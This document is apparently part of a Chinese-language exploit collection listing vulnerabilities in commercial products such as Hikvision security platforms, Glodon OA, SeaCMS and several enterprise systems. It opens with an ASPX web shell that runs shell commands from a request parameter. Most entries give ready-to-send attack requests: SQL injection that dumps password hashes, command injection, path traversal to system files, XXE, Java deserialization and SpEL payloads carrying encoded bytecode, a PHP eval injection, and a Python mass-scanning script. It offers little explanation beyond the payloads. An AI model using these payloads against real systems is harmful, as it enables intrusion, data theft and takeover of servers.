Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close

------21909179191068471382830692394
Content-Disposition: form-data; name="Filedata"; filename="asd.aspx"
Content-Type: image/jpeg
```

```
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new
System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments=
"/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() +
EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------21909179191068471382830692394--
```

方正

方正全媒体采编系统存在syn.do信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/newsedit/assess/syn.do
- 漏洞详情：

```
GET /newsedit/assess/syn.do?type=org HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Length: 185Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
```

飞企互联

飞企互联 FE 协作办公平台 SQL 注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/witapprovemanage/apprvaddNew
- 漏洞详情：

```
POST /witapprovemanage/apprvaddNew.j%73p HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36(KHTML,
likeGecko)Chrome/96.0.4664.93Safari/537.36
Content-Type:application/x-www-form-urlencoded

flowid=1';WAITFOR+DELAY+'0:0:5'--+
```

飞讯云

飞讯云WMS /MyDown/MyImportData 前台SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/MyDown/MyImportData?opeid=' WAITFOR DELAY '0:0:5'-- AtpN
- 漏洞详情：

```
/MyDown/MyImportData?opeid=' WAITFOR DELAY '0:0:5'-- AtpN
```

飞鱼星

飞鱼星 命令执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/send_order.cgi
- 漏洞详情：

```
POST /send_order.cgi?parameter=operation HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/116.0
Content-Type: application/x-www-form-urlencoded

{"opid":"777777777777777777","name":";echo 'test' > 123.txt;echo","type":"rest"}
```

蜂信物联

蜂信物联(FastBee) 物联网平台 任意文件下载漏洞

- 漏洞类型：nday - 任意文件下载
- 涉及版本：未知
- 利用路径：/prod-api/iot/tool/download?fileName=/../../../../../../../../../etc/passwd
- 漏洞详情：

```
GET /prod-api/iot/tool/download?fileName=/../../../../../../../../../etc/passwd
HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
```

孚盟云

孚盟云-CRM系统-SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=
- 漏洞详情：

```
GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=1%27 HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

管理易

eking管理易FileUpload接口存在任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/app/FileUpload.ihtm
- 漏洞详情：

```
POST /app/FileUpload.ihtm?comm_type=EKING&file_name=../../rce.jsp. HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryHHaZAYecVOf5sfa6

--WebKitFormBoundaryHHaZAYecVOf5sfa6
Content-Disposition: form-data; name="uplo_file"; filename="rce.jpg"

<% out.println("hello");%>
--WebKitFormBoundaryHHaZAYecVOf5sfa6--
```

广联达

广联达OA系统存在代码执行

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/gtp-default/reportServlet
- 漏洞详情：

```
未知
```

广联达OA接口ArchiveWebService存在XML实体注入漏洞

- 漏洞类型：nday - 注入
- 涉及版本：未知
- 利用路径：/GB/LK/Document/ArchiveService/ArchiveWebService.asmx
- 漏洞详情：

```
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction:
"http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <PostArchiveInfo
xmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx">
```

```
<archiveInfo>&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x41;&#
x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x20;&#x5b;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c
;&#x21;&#x45;&#x4e;&#x54;&#x49;&#x54;&#x59;&#x20;&#x73;&#x65;&#x63;&#x72;&#x65;&#
x74;&#x20;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4d;&#x20;&#x22;&#x66;&#x69;&#x6c;&#x65
;&#x3a;&#x2f;&#x2f;&#x2f;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x73;&#x2f;&#x77;&#
x69;&#x6e;&#x2e;&#x69;&#x6e;&#x69;&#x22;&#x3e;&#x0a;&#x5d;&#x3e;&#x0a;&#x0a;&#x3c
;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#
x20;&#x20;&#x3c;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x49;&#x6e;&#x66;&#x6f
;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#
x55;&#x70;&#x6c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x49;&#x44;&#x3e;&#x0a;&#x23;&#x23
;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x0a;&#x0a;&#x0a;&#
x26;&#x73;&#x65;&#x63;&#x72;&#x65;&#x74;&#x3b;&#x0a;&#x0a;&#x0a;&#x23;&#x23;&#x23
;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x0a;&#x3c;&#
x2f;&#x55;&#x70;&#x6c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x49;&#x44;&#x3e;&#x20;&#x20
;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#
x65;&#x49;&#x6e;&#x66;&#x6f;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c
;&#x52;&#x65;&#x73;&#x75;&#x6c;&#x74;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#
x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x4d;&#x61;&#x69;&#x6e;&#x44;&#x6f;&#x63;&#x3e
;&#x44;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x43;&#x6f;&#x6e;&#x74;&#
x65;&#x6e;&#x74;&#x3c;&#x2f;&#x4d;&#x61;&#x69;&#x6e;&#x44;&#x6f;&#x63;&#x3e;&#x20
;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x52;&#x65;&#x73;&#x75;&#x6c;&#
x74;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x44;&#x6f;&#x63;&#x49
;&#x6e;&#x66;&#x6f;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#
x20;&#x20;&#x3c;&#x44;&#x6f;&#x63;&#x54;&#x79;&#x70;&#x65;&#x49;&#x44;&#x3e;&#x31
;&#x3c;&#x2f;&#x44;&#x6f;&#x63;&#x54;&#x79;&#x70;&#x65;&#x49;&#x44;&#x3e;&#x20;&#
x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x44;&#x6f;&#x63
;&#x56;&#x65;&#x72;&#x73;&#x69;&#x6f;&#x6e;&#x3e;&#x31;&#x2e;&#x30;&#x3c;&#x2f;&#
x44;&#x6f;&#x63;&#x56;&#x65;&#x72;&#x73;&#x69;&#x6f;&#x6e;&#x3e;&#x20;&#x20;&#x0a
;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x44;&#x6f;&#x63;&#x49;&#x6e;&#x66;&#x6f;&#
x3e;&#x20;&#x20;&#x0a;&#x3c;&#x2f;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x3e
;</archiveInfo>
      <folderIdList>string</folderIdList>
      <platId>string</platId>
    </PostArchiveInfo>
  </soap:Body>
</soap:Envelope>
```

广联达-Linkworks-GetAllData接口存在未授权访问

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/WebService/Lk6SyncService/MrMMSSvc/DataSvc.asmx/GetAllData
- 漏洞详情：

```
POST /WebService/Lk6SyncService/MrMMSSvc/DataSvc.asmx/GetAllData HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Linux; Android 8.1.0; SM-P585Y) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Content-Length: 32
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

Token=!@#$asdf$#@!&DataType=user
```

广联达OA系统GetSSOStamp接口存在任意用户登录

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/WebService/Lk6SyncService/DirectToOthers/GetSSOStamp.asmx
- 漏洞详情：

```
POST /WebService/Lk6SyncService/DirectToOthers/GetSSOStamp.asmx HTTP/1.1
Host:
Accept: */* Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 350
SOAPAction: "http://tempuri.org/GetStamp"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetStamp xmlns="http://tempuri.org/">
<usercode>
admin</usercode>
</GetStamp>
</soap:Body>
</soap:Envelope>
```

广联达OA系统接口ConfigService.asmx存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Webservice/IM/Config/ConfigService.asmx
- 漏洞详情：

```
POST /Webservice/IM/Config/ConfigService.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like
Gecko) Chrome/123.0.6312.88 Safari/537.36
Content-Type: text/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetIMDictionary xmlns="http://tempuri.org/">
<key>1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from
T_ORG_USER --</key>
</GetIMDictionary>
</soap:Body>
</soap:Envelope>
```

广州图创

广州图创-图书馆集群管理系统-PermissionAC

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/interlibSSO/api/BrowseLogInterface?cmdACT=doDataFlowLogStatistic4ERM&sysid=1
- 漏洞详情：

```
/interlibSSO/api/BrowseLogInterface?cmdACT=doDataFlowLogStatistic4ERM&sysid=1
```

海康威视

海康威视综合安防管理平台detection存在前台远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/center/api/installation/detection
- 漏洞详情：

```
POST /center/api/installation/detection HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
```

```
{
    "type": "environment",
    "operate": "",
    "machines": {
        "id": "$(id >
/opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/1.txt)"
    }
}
```

海康威视教育综合安防管理系统admintoken泄露

- 漏洞类型：0day - 未授权访问
- 涉及版本：未知
- 利用路径：/portal/conf/config.properties
- 漏洞详情：

```
/portal/conf/config.properties
```

海康威视视频监控管理后台垂直越权

- 漏洞类型：0day - 未授权访问
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

海康威视综合安防管理平台前台远程命令执行

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/portal/cas/login/ajax/licenseExpire.do
- 漏洞详情：

```
POST /portal/cas/login/ajax/licenseExpire.do HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http:///portal/cas/login/loginPage.do?service=http://x.x.x.x:80/portal
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=jp9u6tFmSc3fk7Jzf9DQjK25abfBb_b4Yy1r4rax; curtTabId=all;
configMenu=
Connection: close
```

```
Content-Length: 135

{"type":"environment","operate":"","machines":{"id":"$(id >
/opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/1.txt)"}
```

海康威视综合安防管理平台 clusters 接口任意文件上传漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/clusterMgr/clusters/ssl/file
- 漏洞详情：

```
POST /clusterMgr/clusters/ssl/file;.js HTTP/1.1
Host:
Content-Type: multipart/form-data;
boundary=--------------------------984514492333278399715408

----------------------------984514492333278399715408
Content-Disposition: form-data; name="file"; filename="xfufhdix.jsp" Content-
Type: image/png
<%="nbklvuxv"%>
----------------------------984514492333278399715408
Content-Disposition: form-data; name="proxyAddress"
8.8.8.8
----------------------------984514492333278399715408--
```

海康威视综合安防管理平台 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/bic/ssoService/v1/keepAlive
- 漏洞详情：

```
POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host:
Content-Type: application/json

{"CTGT": {"a": {"@type": "java.lang.Class", "val":
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"}, "b": {"@type":
"java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {"@type":
"com.sun.org.apache.bcel.internal.util.ClassLoader"}, "driverClassName": "恶意BCEL
数据"}}}
```

海康威视综合安防管理平台uploadAllPackage任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/center_install/picUploadService/v1/uploadAllPackage/image
- 漏洞详情：

```
POST /center_install/picUploadService/v1/uploadAllPackage/image HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/113.0
Accept: */*
Host: 192.168.52.228:8001
Accept-Encoding: gzip, deflate
Connection: close
Token:
SElLIGlhL3NmaGNjaTY3WWxWK0Y6UzVCcjg1a2N1dENqVUNIOUM3SE1GamNkN2dnTE1BN1dGTDJldFE0U
XFvbz0=
Content-Type: multipart/form-data; boundary=-------------------------
-553898708333958420021355
Content-Length: 233

----------------------------553898708333958420021355
Content-Disposition: form-data; name="sendfile";
filename="../../../../components/tomcat85linux64.1/webapps/eportal/y4.js"
Content-Type: application/octet-stream

expzhizhuo
----------------------------553898708333958420021355--
```

海洋

海洋CMS后台admin_smtp.php存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：12.9
- 利用路径：/at1fcg/admin_smtp.php
- 漏洞详情：

```
POST /at1fcg/admin_smtp.php?action=set HTTP/1.1
Host: 127.0.0.12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101
Firefox/127.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
```

```
Origin: http://127.0.0.12
Connection: close
Referer: http://127.0.0.12/at1fcg/admin_smtp.php
Cookie: PHPSESSID=rcejd2jps1jcrv8gdoumqmf71k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4

smtpserver=${eval($_POST[1])}&smtpserverport=&smtpusermail=12345%40qq.com&smtpname=%E6%B5%B7%E6%B4%8B%E5%BD%B1%E8%A7%86%E7%BD%91&smtpuser=12345%40qq.com&smtppass=123456789&smtpreg=off&smtppsw=
```

SeaCMS海洋影视管理系统index.php存在SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/js/player/dmplayer/dmku/index.php?ac=edit
- 漏洞详情：

```
POST /js/player/dmplayer/dmku/index.php?ac=edit HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
cid=(select(1)from(select(sleep(6)))x)&text=1&color=1
```

汉得

汉得存在RCE

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/oauth/public/
- 漏洞详情：

```
GET
/oauth/public/%5f%5f%24%7bT(groovy.lang.GroovyClassLoader).newInstance().defineCl
ass('CALC',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66v
gAAADQAqwoAJABOCgBPAFAHAFEKAAMAUgoAAwBTCwBUAFUIAD8LAFYAVwcAWAoAWQBaCgBbAFwKAAkAXQ
gAXgoAXwBgCgAJAGEIAGIKAAkAYwgAZAgAZQgAZggAZwoAaABpCgBoAGoKAGsAbACAbQoAGQBuCABvCgA
ZAHAKABkACQoAGQByCABzCgB0AHUKAHQAdgoAdAB3BwB4BwB5AQAGPGluaXQ%2bAQADKClWAQAEQ29kZQ
EAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAB2lzTGludXgBAAFaAQAFb3NUeXA
BABJMamF2YS9sYW5nL1N0cmluZzsBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAmluAQAVTGph
dmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAR0aGlzA
QAGTENBTEM7AQACc3IBAEJMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1Nlcn
ZsZXRSZXF1ZXN0QXR0cmlidXRlczsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2V
ydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVz
cG9uc2U7AQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAh1c2VybmFtZQEADVN0Y
WNrTWFwVGFibGUHAHgHAFEHAHoHAHsHAHwHAFgHAC8HAH0HAG0BAApFeGNlcHRpb25zBwB%2bAQAKU291
cmNlRmlsZQEACUNBTEMuamF2YQwAJQAmBwBxxxxDACAAIEBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi
9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDACCAIMMAIQAhQcAewwAhgCHBwB
6DACIAIkBABBqYXZhL2xhbmcvU3RyaW5nBwCKDACLAI4HAI8MAJAAkQwAJQCSAQAHb3MubmFtZQcAkwwA
lACJDACVAJYBAAN3aW4MAJcAmAEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeD
ACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwAJQChAQACXGEMAKIAowwApAClDACmAJYBAAAHAHwMAKcAqA
wAqQAmDACqACYBAARDQUxDAQAQamF2YS9sYW5nL09iamVjdAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHR
wU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2ph
dmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvb
gEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbG
RlcgEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV
4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0
L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAqKClMamF2YXgvc2VydmxldC9od
HRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcj
sBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGp
hdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGph
dmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBA
BYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFKFtCKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcG
VydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmE
vbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxq
YXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc
m9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucH
V0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9
sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAHcHJp
bnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UAIQAjACQAAAAAAAEAAQAlA
CYAAgAnAAACGAAEAAwAAADZKrcAAbgAAsAAA0wrtgAETSu2AAVOLbkABgEAOgQsEge5AAgCADoFGQXGAK
W7AAlZuAAKGQW2AAu3AAw6BQQ2BhINuAAOgcZB8YAExkHtgAPEhC2ABGZAAYDNgYVBpkAGQa9AAlZAxI
SU1kEEhNTWQUZBVOnABYGvQAJWQMSFFNZBBIVU1kFGQVTOgi4ABYZCLYAF7YAGDoJuwAZWRkJtwAaEhu2
ABw6ChkKtgAdmQALGQq2AB6nAAUSHzoLGQQZC7YAIBkEtgAhGQS2ACIZBLYAIRkEtgAisQAAAAMAKAAAA
FoAFgAAAAwABAAOAAsADwAQABAAFQARAB0AEwAnABQALAAWAD0AGABAABkARwAaAFkAGwBcAB4AjAAfAJ
kAIACpACEAvQAiAMQAIwDJACQAzgAnANMAKADYACkAKQAAAHoADABAAI4AKgArAAYARwCHACwALQAHAIw
AQgAuAC8ACACZADUAMAAxAAkAqQAlADIAMwAKAL0AEQA0AC0ACwAAANkANQA2AAAACwDOADcAOAABABAA
yQA5ADoAAgAVAMQAOwA8AAMAHQC8AD0APgAEACcAsgAxxxxAC0ABQBAAAAATQAGxxxxwBcAAgHAEEHAEI
HAEMHAEQHAEUHAEYBBwBGAAAaUgcARxxxx4ALgcARwcASAcASUEHAEbxxxxABIABgcAQQcAQgcAQwcARA
cARQcARgAAAEoAAAAEAAEASwACAEwAAAACAE0AjQAAAAoAAQBbAFkAjAAJ'.replace('xxxx',new%20
String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('Lw=='))))
).newInstance()-1%7d%5f%5f%3a%3a%78/ab?username=bHM= HTTP/1.1
Host:
Cookie:SESSION=N2Q2YjI1OWYtNmIyMC00Nzc2LWE1N2ItMDlkMjM5ZjI5Njg1;
JSESSIONID=N8zrRn50yEN0S47wJ7hODlZKAMSaMxLAqyqyUiZv; hostTenantId=0; tenantId=0;
companyId=0; groupId=0; language=zh_CN
Cache-Control:max-age=0
Authorization:bearer e56d9780-769f-47f1-ae90-e144bec14bd8
```

```
Sec-Ch-Ua:"Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile:?0
Sec-Ch-Ua-Platform:"macOS"
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:none
Sec-Fetch-Mode:navigate
Sec-Fetch-User:?1
Sec-Fetch-Dest:document
Accept-Encoding:gzip, deflate, br
Accept-Language:zh-CN,zh;q=0.9
Priority:u=0, i
Connection:keep-alive
```

汉得存在RCE

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/oauth/login?template=xx&username=d2hvYW1p
- 漏洞详情：

```
/oauth/login?template=xx&username=d2hvYW1p
```

好视通

好视通视频会议系统存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/register/toDownload.do
- 漏洞详情：

```
import requests
import concurrent.futures

def check_vulnerability(target):
    headers = {

        "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
        "Content-Length":"0"
      }
    try:
        # print(target)
        res = requests.get(f"{target}/register/toDownload.do?
fileName=../../../../../../../../../../../../../../windows/win.ini",
headers=headers, timeout=5,verify=False)
        if "extensions"in res.text and "CMCDLLNAME32" in res.text:
            print(f"[+]{target}漏洞存在")
            with open("attack.txt",'a') as fw:
                fw.write(f"{target}\n")
        else:
            print(f"[-]{target}漏洞不存在")
    except Exception as e:
        print(f"[-]{target}访问错误")

if __name__ == "__main__":
    print("target.txt存放目标文件")
    print("attack.txt存放检测结果")
    print("按回车继续")
    import os
    os.system("pause")
    f = open("target.txt", 'r')
    targets = f.read().splitlines()
    print(targets)

    with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
        executor.map(check_vulnerability, targets)
```

红海云

红海云eHR kgFile.mob 任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/RedseaPlatform/PtFjk.mob?method=upload
- 漏洞详情：

```
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host:
Accept-Encoding: gzip
